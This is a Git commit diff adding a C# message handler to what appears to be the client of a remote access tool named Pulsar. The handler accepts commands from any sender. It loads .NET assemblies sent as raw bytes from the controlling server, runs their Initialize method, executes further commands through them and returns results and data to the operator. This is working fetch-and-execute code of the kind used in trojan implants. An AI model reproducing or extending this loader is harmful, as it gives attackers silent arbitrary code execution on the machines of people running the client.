initial commit
This commit is contained in:
@@ -0,0 +1,98 @@
|
||||
using System;
|
||||
using System.Reflection;
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Networking;
|
||||
using Pulsar.Client.Plugins;
|
||||
using Pulsar.Common.Plugins;
|
||||
|
||||
namespace Pulsar.Client.Messages
|
||||
{
|
||||
public sealed class CommandHandler : IMessageProcessor
|
||||
{
|
||||
public bool CanExecute(IMessage message) =>
|
||||
message is DoLoadUniversalPlugin ||
|
||||
message is DoExecuteUniversalCommand;
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
try
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case DoLoadUniversalPlugin loadMsg:
|
||||
HandleLoadUniversalPlugin(sender, loadMsg);
|
||||
break;
|
||||
case DoExecuteUniversalCommand execMsg:
|
||||
HandleExecuteUniversalCommand(sender, execMsg);
|
||||
break;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
sender.Send(new SetStatus { Message = "Command error: " + ex.Message });
|
||||
}
|
||||
}
|
||||
|
||||
private void HandleLoadUniversalPlugin(ISender sender, DoLoadUniversalPlugin msg)
|
||||
{
|
||||
try
|
||||
{
|
||||
var asm = Assembly.Load(msg.PluginBytes);
|
||||
var type = asm.GetType(msg.TypeName, throwOnError: true);
|
||||
var plugin = Activator.CreateInstance(type);
|
||||
var initializeMethod = type.GetMethod("Initialize");
|
||||
initializeMethod.Invoke(plugin, new object[] { msg.InitData });
|
||||
UniversalPluginDispatcher.RegisterPlugin(msg.PluginId, plugin);
|
||||
|
||||
sender.Send(new DoUniversalPluginResponse
|
||||
{
|
||||
PluginId = msg.PluginId,
|
||||
Command = "load",
|
||||
Success = true,
|
||||
Message = $"Plugin {msg.PluginId} loaded successfully"
|
||||
});
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
sender.Send(new DoUniversalPluginResponse
|
||||
{
|
||||
PluginId = msg.PluginId,
|
||||
Command = "load",
|
||||
Success = false,
|
||||
Message = ex.Message
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
private void HandleExecuteUniversalCommand(ISender sender, DoExecuteUniversalCommand msg)
|
||||
{
|
||||
var result = UniversalPluginDispatcher.ExecuteCommand(msg.PluginId, msg.Command, msg.Parameters);
|
||||
|
||||
var resultType = result.GetType();
|
||||
var successProperty = resultType.GetProperty("Success");
|
||||
var messageProperty = resultType.GetProperty("Message");
|
||||
var dataProperty = resultType.GetProperty("Data");
|
||||
var shouldUnloadProperty = resultType.GetProperty("ShouldUnload");
|
||||
var nextCommandProperty = resultType.GetProperty("NextCommand");
|
||||
|
||||
bool success = successProperty != null ? (bool)successProperty.GetValue(result) : false;
|
||||
string message = messageProperty != null ? (string)messageProperty.GetValue(result) : "Unknown error";
|
||||
byte[] data = dataProperty != null ? (byte[])dataProperty.GetValue(result) : null;
|
||||
bool shouldUnload = shouldUnloadProperty != null ? (bool)shouldUnloadProperty.GetValue(result) : false;
|
||||
string nextCommand = nextCommandProperty != null ? (string)nextCommandProperty.GetValue(result) : null;
|
||||
|
||||
sender.Send(new DoUniversalPluginResponse
|
||||
{
|
||||
PluginId = msg.PluginId,
|
||||
Command = msg.Command,
|
||||
Success = success,
|
||||
Message = message,
|
||||
Data = data,
|
||||
ShouldUnload = shouldUnload,
|
||||
NextCommand = nextCommand
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user